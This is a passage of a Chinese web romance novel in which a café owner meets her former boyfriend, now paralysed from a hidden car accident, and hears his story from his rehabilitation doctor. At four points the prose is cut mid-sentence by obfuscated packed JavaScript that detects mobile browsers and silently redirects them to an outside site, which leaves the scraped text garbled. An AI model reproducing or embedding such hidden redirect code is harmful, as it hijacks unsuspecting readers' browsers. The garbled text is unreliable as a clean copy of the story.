“学妹,其他什么都不需要你做,你只用拿着我的手机给他发一句去医院的语音就可以。”顾书屿退了一步,看着宋知念,恳求道: “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236332|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样可以吗?” 顾书屿早就已经知道谢医生和傅祈安的想法对宋知念不奏效,从一开始,他想得就是宋知念只用说三个字,剩下的都好解决。 “你不用当作是给他的,你可以当作是给我的,你就当作是我生病了让我去医院······” 他的话在宋知念的注视下渐渐地没有了声音。 宋知念的目光太过于平静,平静到他一时之间都不知道该如何继续说下去 “学长,我理解你想要为朋友好的心情。” 那杯咖啡已经被她搅拌得不成样子,原本做好的分层都已经变得一团糟,但她的声音听上去还是格外地冷静。 “但请允许我拒绝。” 夏日的风穿过庭院的竹林,带起了一阵摇曳的竹影。 顾书屿长叹了口气,见面前她坚定的模样,终究是不知道该怎么继续开口。 “如果学长来是因为这件事情,那么我想我们可能没有什么继续可以谈的了。”宋知念拿起自己的咖啡杯,起身。 傅瑾承生的是什么病,而又为什么不愿意去医院,这些都与她无关。 她礼貌道:“店里还有事情,如果学长还想叙旧,可以等芸芸过来。” 宋知念转身打算回到店内。 “宋学妹。”顾书屿不死心地叫住了她,他迟疑了片刻,问道:“如果当年的事情,是因为你们之间的误会呢?” 宋知念的步伐停顿了,随即,她转过身,脸上的表情却再也没有之前的平静。 她冷笑了一声,怒道: “误会吗?是什么误会可以让他不告而别,又是什么误会连分手都需要学长你来帮他说?” 好友在旁,良师在侧,而她也遇见了他。 那是她最快乐的日子。 可是就在他们在一起的第二天,傅瑾承消失了。 他消失得无影无踪,她去问了他的室友,去问了他的朋友,去问了老师,没有一个人能告诉她傅瑾承究竟去了哪里。 但是所有人告诉她,不要再等他了。 她看得懂老师眼中的怜悯,看得懂他朋友眼中的欲言又止。 明明那么多人都知道他发生了什么,只有她不知道。 只有她一个人,被他蒙在了鼓里。 只有她一个人,被他抛弃在了她最幸福的时光之中。 “那时候我问过你,傅瑾承去了哪里,我明明问过你不止一次!” 宋知念深吸一口气,努力让自己冷静下来,可是脸上泛起的热意和眼底莫名氤氲出来的泪水,让她连身体都有些颤抖。 见她的模样,顾书屿一时愧疚得有些说不出话。 “学妹······” “那时你说过,傅瑾承去了哪里,做了什么事情,发生了什么事情,都与我无关。” 宋知念抹去了眼角的泪水,她没有抹干净,她脸颊上还有泪将落未落,可她的嘴角上却带上了笑。 那抹笑,像是在嘲讽她自己,更像是讽刺顾书屿。 “那我现在也可以告诉你,无论他现在发生什么,也都与现在的我无关。” 5. 第 5 章 那一天顾书屿是什么时候走的,宋知念都已经记不太清楚。 她只记得,顾书屿对她愧疚的目光,和那长长久久的沉默。 如同三年前一样。 宋知念苦笑了一下,抱起了正在她脚边翻肚皮的旺财,揉了揉大猫咪的肚子,戳了戳旺财的脑袋瓜。 “没心没肺的猫咪。”宋知念抱怨道:“和你那死鬼前爸一模一样。” 旺财委屈地喵了一声,在她的身上蹭了蹭,又一个翻身跑下了宋知念的膝盖,蹲在后门边舔爪子。 “雅琴姐、念念姐,后门庭院外那辆豪车还停在那里啊。” 店里的店员董语在收□□院的餐盘,她探头看了看拱门外的豪车,一脸好奇。 这个牌子的车就算在杭城都算不上多见的,车前的小金天使没有被司机收起,在阳光下发出耀眼的光芒。 “少打探人家土豪的世界。” 高雅琴接过董语手中的碗碟,嘴里却责怪道:“人停这里可能倒周边处理事情呢,别大惊小怪的一副没见过世面的模样。” “哎呀。”董语还是大学生,对这些事物正是好奇的时候,她有些好奇地追问: “可这车已经停这里好久了,那几家会所应该都有地下停车场吧,要是家住在附近的话那些大平层下面会没有车库吗?” “这我可不懂了。”高雅清耸耸肩,好笑道:“这些事情你要去问你念念姐,她可是最了解这些的人。” 宋知念无奈地瞪了高雅琴一眼,却看着高雅琴正捂着嘴偷笑。 董语果然跑到了宋知念的旁边,她娇声谄媚道:“念念姐,快告诉我,你觉得是怎么回事?” 宋知念知道,董语说得其实没有错。 那几家会所她自己也去过,到了门口就会有人帮忙去停车,而周边那几套大平层豪宅下面也都有固定的专属车位。 这一带平日里来往的有钱人不少,但是把劳斯莱斯长期停在路边的,确也不多见。 除非…… 宋知念想起了上次顾书屿欲言又止的模样。 可那又怎么可能呢? 宋知念笑了笑,收回了思绪,像戳旺财脑袋瓜那样戳了戳董语的额头: “别想啦,人家可能在这附近办事呢,收起你那旺盛的好奇心,马上就来客人了。” 董语像是受伤一样捂住自己刚刚被宋知念戳过的地方,失落地飘回了吧台的位置:“好吧。” 宋知念好笑地摇摇头,望向窗外。 那辆黑色的魅影依旧停在拱门外,安安静静的,不知道在等待什么。 夏至的午后,往往容易起那一阵一阵令人猝不及防的暴雨。 就在她们说话之间,已经有豆大的水珠沿着窗户闯入了室内,扑到宋知念的脸上。 “下雨啦。” 董语从吧台里跑出来,去后门撑开遮雨棚。 这时候的暴雨总是一阵一阵的,往往这片云团过去了,也就雨停了。 宋知念也起了身,关上了几扇窗户。 雨丝淅淅沥沥的开始落下,密集的云团来到了这一片天空之上,一晃眼的工夫,这一片就成了暴雨。 “小语?” 见董语还没进屋子,宋知念一边喊她的名字一边往后门走去:“还不进来吗?雨下大——” 话还没说完,宋知念停在了原地, 后门的遮雨棚已经被董语撑开,但是她却站在了原地,呆呆地看着前面, 宋知念顺着她的视线望去,却只看到那辆劳斯莱斯的马车式对开门不知道什么时候起已经被打开了。 这辆车的后座应当是进行过改造,门打开后,从车门框的下方还降下来了一块斜坡板,而驾驶座的前座上也下来了一个人,正在撑着伞站在斜坡边,挡住了后座人的容貌。 “小语。”宋知念走到董语的身后,提醒道:“走吧,进去了。” 董语是第一次见到这款车开门的模样,但是见到了也就好奇完了。 “好高级的车哦,我还是第一次见到这种车还能放斜坡板。”董语说着往店里走去,却在走了几步之后终于意识到了不对。 她的身后,宋知念并没有跟上来。 “念念姐?” 董语回过头,转身望去。 下一刻,她惊讶地捂住了嘴巴。 拱门处,刚刚因为撑伞而没有露出面容的人,此刻终于完全展露了出来。 他坐在黑色的轮椅中,背挺得直直的,一只手放在轮椅的控制器上,一只手压着膝盖上的黑色绒毯,即使他的身躯好像被轮椅所困,却难以掩盖他的风神秀慧,仪表瑰杰。 旁边的司机似乎想要为他撑伞,他只是抬起手简单地挥了挥,就制止了旁人的动作。 他这样出现在雨中。 但更令董语吃惊的,却是宋知念的样子。 她自从来到店里,基本就没有见过宋知念失态的模样,即使上一次见了她朋友之后哭了一场,却也很快就缓和了情绪,又重新恢复到了那般淡然的模样。 可现在,光从宋知念颤抖的背影上,董语都能看出她的不对劲。 他们两个在隔着庭院对视。 一个坐在雨里,一个站在檐下。 他的轮椅进一步,她的脚步便往后退一步。 直到他的轮椅终于停在了后门处,而宋知念却已经扶着吧台,死死地盯着他。 董语本来想细看,却被看出来了些什么的高雅琴急匆匆地拉到了吧台的后面。 见董语离去,那个男人终于开口结束了这场沉默。 “念念。” 他的声音很好听,如清泉冽石,在雨中的竹间更显得清雅。 “傅瑾承。” 董语看到宋知念嘴角勾起,但是面上却是说不清的惨然和复杂。 这是她们第一次看到,宋知念除了冷清之外的其他神色。 虽然她看上去,真的非常伤心。 “念念,我们可以谈一下吗?”傅瑾承眼眶红红的看着宋知念。 他本来不想出现在这里,他本来只想一直远远地看着宋知念,但是昨天回医院后顾书屿无意间透露了宋知念订婚的消息,令他沉寂的占有欲就像是野火一般在枯木上蔓延着。 他不知道顾书屿的话是不是为了刺激他,在他四处寻死的那一段时间,也是顾书屿天天带着傅祁安过来在他面前说宋知念的消息。 他想近距离地见到她,想嗅到那萦绕在她身上暮夜沉醉的檀木香,想听到她像对客人那样对他说一句欢迎光临。 本来,他以为,那样就足够了。 “我们还有什么可以谈的吗?” 宋知念笑了笑,举起她的左手。 在她的左手中指上,正戴着一款尚美巴黎的鹭羽冠冕绿宝石钻戒。 左手的中指,那是订婚的标志。 傅瑾承本就苍白的脸色越发的惨白,他的手紧紧地攥成了拳,指甲已经深深地戳伤了他的掌心,但他却丝毫没有察觉。 他的呼吸渐渐地有些急促了起来,但他死死地咬着牙,不让那喘息的声音泄露出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236333|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你,真的订婚了吗?”他的声音变得有些沙哑。 董语在吧台后面,听到男人的问话,刚想从吧台后面爬出来说什么,却被高雅琴一把拉住。 她有些不解地望向高雅琴,用嘴型无声地问:“念念姐不是退婚了吗?” 高雅琴摇了摇头,将食指压在了嘴唇上,示意董语不要说话。 “我订婚了。” 她们听到宋知念说道。 她的声音又恢复了平静,好像刚刚的失态只是她们的错觉。 但她们两人都知道,那并非是错觉。 对面的男人呼吸又急促了起来,他想要掩盖,却只能无力地用右手抓着胸口的衬衫。 膝盖上的毯子因为他手的放开,从轮椅上垂落下来,露出了他遮掩着的下半身。 他的两条腿被放在轮椅上,脚底抵着轮椅的踏板,即使有宽大的裤腿做遮掩,却也能窥见他下肢的僵硬。 宋知念别开了脸,没有继续看他, “如果没事,你还是快回医院吧。” 宋知念说,她的视线落于地面,那里还能看到他轮椅的倒影。 她能看到影子中那人的手死死地压着胸膛,也能听到他有些粗重的呼吸声。 但她更听到了,自己冷静到了极点的声音。 “我已经没有什么能和你谈的了。” 宋知念将那句已经在她脑内重复了无数遍的话咀嚼了一会,自嘲地笑了笑:“在见你之前,我还想和你说,我们不如一开始就不要遇见对方。” “那现在呢?” 他看着她,压抑的呼吸声越来越粗,就连手都在忍不住颤抖,肩上在雨中淋湿的衬衫,将那股凉意送进他还能有知觉的肌肤、骨髓之中。 他的身体又开始不受他掌控了,那种熟悉的痉挛感席卷了他的全身,可是他不想在她面前露出自己的这副模样。 最起码现在不行。 “现在啊。”宋知念终于抬头,看向浮瑾承。 她细细地看过他的面孔,她知道他肯定遭遇了一些她难以想象的病痛,那消瘦的脸颊、眼中的疲惫还有他现在脆弱的身体,无一不彰显着这个事实。 “现在我突然发现,我竟然没有什么想要对你的话。” 爱也是真的,恨也是真的。 可看到现在的他,宋知念更多的,是一种无力的疲惫感。 她无法对他说出狠话,却也无法原谅他。 “咳……是吗。” 傅瑾承惨白的脸上露出不正常的红晕,他撕心裂肺地咳嗽着,像是要把肺咳出来才罢休,就连头也开始头疼欲裂,连眼前的景象都有些模糊。 “你现在……是连话都不想对我说了吗……” 宋知念沉默了。 傅瑾承已经有些看不清眼底的景象,他有些分不清那是泪水还是单纯的视线模糊。 下半身的痉挛已经开始,他早就已经无力去控制自己的身体,只有腰间的束带还将他和轮椅紧紧地连在一起,没有让他从轮椅上滑落。 他努力地抬起头,用最后的力气带动嘴角的肌肉,像是想要对她笑一笑。 “那样,也好……” 宋知念呆呆地看着他在轮椅上的扭曲,她看着他的下半身扭动抖动着,看着他的上半身想要抖动却被什么东西固定住,看着他抬头却对她露出了一个比哭还要难看的笑。 直到他的腿因为痉挛的原因垂落于地面上,直到他的手无力地从胸口落下,宋知念这才如梦初醒般的扑上去。 “傅瑾承!” 6. 第 6 章 “傅瑾承,你别吓我。” 宋知念俯身在轮椅边,就连声音中都染上了哭腔。 他的脚已经是挣脱了轮椅的束缚,从踏板上落下,那一阵痉挛又还没有结束,腿一抽一抽的,足尖时不时软塌塌地触到地面,却又唤起神经更加强烈的抵触。 宋知念一时之间都不知道自己该做什么,也不知道自己能做什么。 她只能在慌乱中执起傅瑾承的手,顺着他刚刚揪着心口的动作抚着。 他咳得连话都有些说不出来,一声“我没事”愣生生地变成了破碎的音节。 “你在说什么?” 宋知念有些听不清他的话语,她的目光四下寻找,看到了站在吧台后呆愣的高雅琴和董语。 从宋知念的喊的第一声的时候,高雅琴和董语就已经意识到了不对。 可等到她们从吧台后面跑出来,不知道是被惊的还是被吓得,只能傻傻地待在原地看着这一幕的发生,连腿都像是灌了千斤重。 傅瑾承几乎已经是瘫在了轮椅上,因为身躯的剧烈移动,他的头已经从轮椅的靠枕上垂下,一只手被宋知念拉着,一只手无力地蜷缩着。 那张毯子像是他的遮羞布,现在这张毯子从他的身上滑下的时候,就如同揭开了他最不堪的一面。 浑身的疼痛碾过他的身躯,已经分不清是生理的疼痛,还是心理的痛楚。 “念念······别管我。”傅瑾承蓄了些力气,努力抬起些眼,贪婪地看着眼前的宋知念。 他想,这也许是他最后一次能够这么近距离地见到她了。 她身上萦绕着檀木的留香,纱帘裹挟着落地灯的光,朦胧的覆于她的侧脸,但他的视线模糊到只能看清那是一片的莹白,他能看到她的红唇上下开合着,像是在对他说着些什么。 但是他听不清,也没有更多的力气像以前一样可以随时回答她的那些提问。 “傅瑾承,你先别说话了。”宋知念的贝齿咬着下唇,极力地抑制着自己的颤抖。 他能听到她喊他的名字,他的眸光清醒了一瞬,却在下一刻感受到了她指间冰冷的宝石触感。 傅瑾承的手颤了颤。 她已经订婚了。 那指尖的冰冷像是藤蔓一样,丝丝地顺着他的血管涌入了他的胸膛,将他的心脏紧紧地缠绕起来,交缠在一起。 “念念,你走吧·····” 他推了推她的手,想要从藤蔓中挣扎而出,但因为无力的缘故,却只能被那带着荆棘的藤蔓越扎越深。 掌心中的温度越发的冰凉,令宋知念感到心中又惊又慌。 她对还在傻愣愣的董语快速吩咐道:“小语,快去后面的车上喊人。” 转而她看向高雅琴,急切道:“雅琴姐,麻烦帮我去倒杯水。” 宋知念不知道傅瑾承发生了什么,但是以她对傅家的了解,在这样的身体情况下,他们是不会同意傅瑾承独自一个人出门的。 可是为什么,都这样了他还要来找她?他又为什么会变成这样? 无数凌乱的思绪在她的脑海之内飘过,但她却来不及去理清这些混乱的想法。 宋知念只能下意识地紧握着傅瑾承的手。 她的掌心之中因为紧张,已经冒出了丝丝的汗意。 宋知念的话让高雅琴和董语瞬间有了主心骨。 她们对视一眼,兵分两路,一个冲出后门去喊人,一个跑到吧台倒水。 高雅琴先是倒了满杯冰水,想想不对,只能混杂着参点滚烫的热水,却又觉得不对,一时间手忙脚乱的竟然连杯水都不知道该怎么倒。 好在,董语喊来的医生也已经及时地冲进了店内。 谢医生只看了一眼,便让跟着他一起进来的人赶快去车上拿了便捷吸氧的氧气袋。 随即他快步走到傅瑾承的面前蹲下,用手在轮椅的控制台上点了点,将椅背的角度调低了些。 而宋知念早在谢医生蹲下的时候就已经僵硬地起了身,站在轮椅旁。 谢医生抬眼看了眼站在一边的宋知念,毫不客气地指挥着她: “小宋是吧,我是谢医生。你扶一下他,让他把脑袋靠回到靠枕上,他应该有点脱力。” 宋知念来不及细思谢医生怎么会知道她的名字,只有学生时代残留的行动力让她迅速回了句好的。 傅瑾承确实已经没有什么力气了,宋知念两只手捧起他的脸,让他顺着椅背的角度靠到身后的头枕和颈枕上。 他的面庞其实比她看到的还要更加的削瘦,薄薄的一层皮肉包裹着锋利的下颌线,指尖轻触上去,还能感到他鬓间流下的冷汗。 他虚弱到让她不敢多碰,确认他的上半身的稳定后,宋知念就匆匆松了手。 而谢医生已经趁这个时候熟练地将束缚在傅瑾承的两条腿上的固定带解开,给他一点点放松腿部的肌肉张力。 等到他的抽搐渐渐缓解,谢医生再将他的脚放置到踏板上,重新固定好。 因为角度的原因,宋知念就只能看着谢医生像是摆弄着一个物品一样,给傅瑾承的腿调整着姿势。 他的动作不算粗暴,却也不能称上一句轻柔。 更像是什么呢? 更像是一个桌腿颤抖着倒在了地上。 她想让别人来修好这条桌腿,但旁人已经习惯了这条桌腿的残缺,他们将它扶了起来,继续垫在桌子下使用。 宋知念有些感到恍惚。 刚刚去拿氧气袋的人已经重新跑了回来,谢医生一把从他的手里拿过便携式的氧气袋塞到了宋知念的怀中,又将氧气罩给傅瑾承带上。 “我不想戴。”傅瑾承哑声说。 可能是因为之前在重症监护室里,呼吸机戴久了缘故,傅瑾承一直很讨厌各类仪器束缚在他脸上。 他下意识地避开谢医生的动作。 “管你想不想戴。”谢医生冷笑一声,没理会病人的不满和不配合,他一把把氧气罩按到他的脸上,抬头对宋知念叮嘱道: “小宋,你帮我看着这面罩密封效果怎么样,让他先吸会氧缓一下,他说什么都别让他松开了。” 他的一声小宋喊得格外的响亮,又斜愣愣地瞪了一眼傅瑾承,一句简单的吩咐愣生生有了些抑扬顿挫的腔调。 “好。” 宋知念接过谢医生的动作,她专注地看着傅瑾承的呼吸动作,担心他还有反复。 她在看着他。 傅瑾承的手指忍不住微微蜷曲,又再一次松开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236334|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在慌乱之后,店内一时之间没有人开口说话。 只有音响,还在自觉播放着舒缓的音乐。 有的是被刚刚这一幕吓到了,有的是不知道如何开口。 “水……水还要吗?” 调了半天水温的高雅琴左看看吸着氧的傅瑾承和旁站站着不敢动的宋知念,右看看因为傅瑾承平静下来而显得有些吊儿郎当的谢医生,默默地举着杯子开口。 “要要要,给我吧。” 谢医生自觉地游走到了柜台边,拿过了高雅琴调了半天水温的水,一口饮尽。 这水明明是给病患喝的。 高雅琴的目光里带了些谴责。 “这不关我的事情啊,” 谢医生举手眨着眼示意自己的无辜:“他还没到喝水的时间,你给他,他也喝不了,就算现在喝了,到时候因为打破饮水规律受罪的又是他。” 听到谢医生的话,宋知念垂着眸不知道在想什么。 他竟然已经到了连喝水都要定时间的程度了吗? 宋知念陪母亲住院和检查的时候,听到过医院的护工和家属的聊天。 她知道,只有受伤非常严重的患者,才必须让每日的生活作息都严苛地按照规定的日程表进行。 宋知念低头看了看傅瑾承的样子,还是有些不放心,她只能用手摸摸傅瑾承的额头。 “谢医生,要不还是送他回医院检查一下吧。” 他没有发烧,但可能因为刚刚那些事情的缘故,就连额间都布满了冷汗。 “我们店里的医药箱里只有些常备的药物,而且这里也不太适合他休息。” 傅瑾承借着靠枕的力,微微抬眸看向她,眼底充满了说不清的晦涩。 如果不是因为他发病,她是不是连话都不想和他说了。 又怎么会…… 又怎么会,允许他在她身边多待一会儿呢? 宋知念没有注意到傅瑾承的情绪,她看向谢医生,指了指二楼说:“毕竟我们还在营业中。” 现在是下午的时间,如果时间允许的话,附近的白领往往会选择来她们的店里开组会。 其实眼下店里也还有几位顾客,好在他们在二楼的包间里,倒是没有听到楼下的喧闹。 “我知道的,让他休息一下就走。” 谢医生点点头,颇有些嫌弃地敲了敲玻璃水杯:“大热天的,给我杯冰的。” 那本来就不是给他喝的。 高雅琴白了他一眼,还是去接了杯冰水给他。 可那杯冰水还未入口,谢医生就听到身后虚弱但坚定的声音。 “现在,就走。” 傅瑾承的掌心压在了宋时念的手背上,他的手温还未恢复,但是却不知道凭借着哪里的力量,拖着宋知念的手挪开了自己面上的氧气罩。 一离开面罩,他便重重地咳嗽了几口。 他紧紧地抓着她的手。 她指间的冰凉,还在提醒着他,她是别人未婚妻的身份。 他有些留恋地看了宋知念一眼,却在瞬间紧紧闭上眼睛。 再看下去,他怕自己会舍不得离开。 也更怕,他会控制不住自己。 “现在,就走。” 7. 第 7 章 雨水已经褪去,天边残存的斜红被纱帘遮掩,但昏黄的光亮依旧布满整间病房。 他的眉眼被光影所笼罩,鼻梁高挺,额间紧蹙,苍唇紧抿,像是连入睡时都不得安宁。 宋知念为他掖了掖被角,又抬眼确认了监护仪起伏平稳的线条,这才转身推开房门。 “吓到了吧。” 声音是从她的旁边传来的,宋知念抬头看去。 谢医生正坐在门边的椅子上,他的手无意识地打开烟盒、又再一次关上,一遍一遍的。 看到宋知念,谢医生晃了晃手中的烟盒:“不介意吧?” 宋知念摇摇头。 当谢医生出现在她面前的时候,她有很多想问他、想要问谢医生的。 但是当傅瑾承说了话便毫无征兆地倒在自己面前之后,宋知念感觉自己连开口询问的勇气都没有了。 上一刻,他还能拉开她的手,喘着气说话。 下一刻,他便安静地倒在了轮椅的桎梏里,只有脸上,还存有不自然的潮红以及方才那些疼痛留下的痕迹。 楼层里是禁烟的,谢医生带她到了一楼的庭院里,这里有一处专门的吸烟区。 现在这个时间,庭院里也已没有多少人。 宋知念坐在吸烟区旁边的长椅上,双腿并拢,双手交握,像极了等待老师说话的乖学生。 “他……” 宋知念深吸一口气,指尖紧握,试探性地问道:“没事吧?” 那般触目惊心的场景近在眼前,转而又是如此伴着痛楚躺在床上。 “难说。” 说没事也算不得没事,说有事相对他身体的其他毛病来说其实也算不上是什么大事。 “简单来说就是情绪起伏太大,外加他身体上的问题。” 谢医生单手持着烟,吞云吐雾道:“他受伤的位置会对心脏有影响,再加上最近肺炎还没好,受不了太大的刺激。” “说实话,本身近距离见到你对他来说已经是一件有一定冲击力的事情了,”谢医生说着又吸了两口,随即灭掉了还未燃尽的香烟。 他在白雾中眯着眼睛仔细观察着宋知念。 面前的女孩子还是安安静静的模样,外表看着弱柳扶风,骨子里却是江南千年不息的流水,坚韧顽强。 一名典型的江南姑娘。 谢医生也不知道两人之间发生过什么,那些在傅瑾承痛苦时流露的只言片语透露出来的都是对这姑娘的愧疚和依赖,而从傅瑾承弟弟小傅总或者是顾书屿口中,却是另外一番无可奈何。 “你是他的学妹,也应该是个聪明人。”谢医生靠在玻璃门上,插着兜望着宋知念: “我们在你店门口待了不止一天的事情,你应该早就猜到了。” 宋知念颔首:“是的。” 如果说同一辆豪车在路边的车位上连续停上三天还能说是巧合,那么第四天、第五天都无法用巧合来解释。 那些早就有些怀疑的想法其实在他出现的那一刻成为事实。 “我看到过你们把车开走。”宋知念如实道:“从那天之后,我就知道有人在观察我。” 那些观察虽然感觉只是单纯的观察,对她并没有恶意,但是后面几天,她还是有意地减少了些去后门和□□院的次数。 “难怪后面几天见你出面少了。”谢医生耸耸肩,有些无奈地对宋知念解释道:“他想见你,又不敢让你知道,所以就只能这样了。” 宋知念沉默。 她有些不明白傅瑾承这些举动的意义,明明已经三年没有见过了,明明是他自己不告而别,为什么又要这般暗地里关注她。 “你们两个感情的事情,我搞不清,我也没兴趣给你们两个人做情感疗愈。” 见宋知念不说话只是搅着手指,谢医生只是叹了口气。 这两个人之间经历了什么,他并不太清楚,但他能够看到的,是傅瑾承昏迷时候喊的名字,能够听到的,是傅瑾承那些或是因为思念,或是因为痛苦而留下的呻吟。 “我知道你,还是三年前的事情了。”谢医生斜垂着眸望向宋知念脸上的惊讶:“是不是很奇怪?” 今天谢医生能够喊出小宋这个称呼的时候,宋知念并不惊讶,她还以为是谢医生在这几天陪傅瑾承在她店门口的时候知道的。 却不想,竟然已经这么久远了。 “那应该是我认识傅瑾承第一天的时候。”谢医生望着高楼之上。 在这座高楼的最上方,傅瑾承还在昏睡之中。 “他还在重症监护室的时候,我就已经被他爸确认成为他的康复主治医生。” 谢医生师承省内康复医学的泰斗,是泰斗的关门弟子,也是通过他自己老板和师兄的缘故,他才接下了这个事情。 “他受伤的位置在T2,就是我们说的第二胸椎。”谢医生拿手指了指自己胸膛,给宋知念比画道:“是完全性的脊髓损伤,从胸口以下他都是没有感觉的。” “按照他的受伤位置来说,属于高位截瘫的范畴,” 宋知念的目光锐利了许多,脸上的神色也明显地认真了起来。 她听得很仔细。 “没见他之前,我还以为能看到个身残志坚、自强不息的公子哥,但是到了之后我才意识到,其实这样身体上的打击,对于他们这样的人来说,可能比死了还要难受的。” 就连普通人都无法承受这样的打击,何况是天之骄子的傅瑾承? “我见他的时候,他当时二便失禁,手指的运动都有些困难,但是有了力气就要去摘自己身上的针或者是呼吸机,害得护士都必须把他的手绑在床边,才能放心。” 宋知念甚至不敢想象那样的场景。 这样骄傲的人,在知道自己连基础生活都不能自理、在知道自己已经形同一个废人的时候,该是怎样痛苦。 她知道那些拔针头、拔呼吸机的举动不是所谓的ICU谵妄症。 如果是,谢医生早就会说明,而不是这样的模棱两可。 ——那是傅瑾承想要求死。 这些回忆让谢医生的烟瘾有些蠢蠢欲动,他从口袋之后翻出一颗薄荷糖,压在舌下,抑制着自己的烟瘾。 “我和他说了半天的预后最佳情况,他理都没有理我一下,只是抬头看着天花板,一副不愿意配合的模样。” 第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236335|166106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸椎的损伤如果预后得好,其实也近乎可以自主生活。 他作为一个话痨,和傅瑾承唠到口干舌燥,傅瑾承都没有正眼看他一眼。 这让谢医生一度非常挫败。 “后来那天晚上他因为感染的原因发高烧,正好我在医院,我就和值班医生一起过去了。” 傅瑾承的体温调节的功能也因为身体的原因失去了调节的能力,护士对他采用了物理降温的方法,而谢医生干脆也在旁边守着。 “大概到了那天深夜,我迷迷糊糊看到他的嘴巴一张一合地在动,我以为他需要什么,就摘了他的面罩问他是不是渴了。” 口腔中薄荷的味道刺激着味蕾,将一阵清凉感渐渐地散开。 那天晚上的记忆,似乎越来越清晰。 “也就是那个时候,我第一次知道了你叫念念。” 傅瑾承喊得不是全名,一声声“念……念”喊得谢医生一开始还以为是黏,寻思了半天后才知道他喊的是一个名字。 只是他并没有在医院里,看到这个名字的主人。 “我……”宋知念的双手紧握成拳:“我不知道他受伤的这个事情。” 没有人告诉她傅瑾承的事情,没有人告诉过她他已经变成了这副模样。 她得到的,只有顾书屿代为转达的一句:“我们分手吧。” 谢医生的目光有些怜悯,但是这怜悯的目光并不是对着宋知念。 “我知道。”谢医生道:“我知道你吃了很多的苦。” 他第一次陪傅瑾承去看宋知念,便知道他为什么会喜欢上她,也知道他为什么不敢告诉她。 这个女孩子明显是在爱中长大的,生活优渥,家庭和睦,对着自己的店员都是那般的关心关爱。 傅瑾承不相信自己。 也不相信宋时念会爱残缺丑陋的自己。 “他,怎么受的伤?”宋知念的声音之中带了沙哑。 “车祸。” 谢医生平静地道。 “当时你们学校是不是在装修?” 三年前,他们学校的西北部确实要盖几幢新的教学楼。 宋知念点点头。 “那就是了。”谢医生确定道:“他是在去学校的路上出的车祸,在你学校旁边的几条街外,应该是正好要去学校的时候被施工车给撞倒了。” 这个消息迅速被傅氏集团、施工方还有校方联手掩盖了。 傅氏集团不能有个残疾的继承人,施工方和校方不想让这样不利于学校和施工的消息外泄。 这也是为什么宋时念去网络上搜也搜不到消息的原因。 “他今天一开始出现在你面前的时候,基本上已经是他这三年最好的状态的样子了。” 背部挺拔,看上去还是那般清雅矜贵。 这三年他也有进行复健,其中最好的是养成了定时按照日程表喝水吃饭上厕所的习惯,倒是解决了些二便的困扰。 但也就是如此了。 谢医生散了散自己身上的烟味,把放在一边的白大褂重新披上,转身问道。 “他差不多该醒了。” “你想和我一起上去吗?” 8. 第 8 章 谢医生推门进入的时候,病房之中近乎是完全的黑暗。 他下意识地低头看门边的垃圾桶。 黑色的垃圾袋中稀稀拉拉的沉淀着一些破碎的透明物品,合着屋外光亮的照射,那些玻璃折面在谢医生的眼前散着五颜六色的光。 谢医生认得碎片上面那些暗纹lego。 那是原本他们离开之前放在床头柜上的水杯。 而就在他们离开的这段时间内,原本完整的水杯却成为令人难以辨清面貌的“尸体”碎片。 谢医生退了一步,没有进入病房内。 “怎么了吗?”被他挡在身后的宋知念有些不解。 “没事。” 谢医生的手撑在门边,他微微侧身,高大的身体将那垃圾桶严严实实地遮住。 “您先进,我待会儿就来。” 看谢医生的动作,原本分明是打算和她一起进病房的。 面对宋知念有些疑惑的目光,谢医生推了推眼镜,轻声解释道:“我想起来傅总今天还有药没用,我要去护士台确认一下。” “那您快去吧。” 宋知念不疑有他,这家康复医院的口碑之所以会那么好,就在于医生和护士在对待病患的认真和仔细。 “好的,灯在你的左手边,往前面走几步就到了,灯按中间的按键就可以。” 谢医生一边小声指挥着,一边用自己的右脚尖小心翼翼地勾住门边的垃圾桶。 他用了力气,在宋知念进房间的那一刻快速将垃圾桶踢到了门外。 宋知念按照谢医生的说法开了灯。 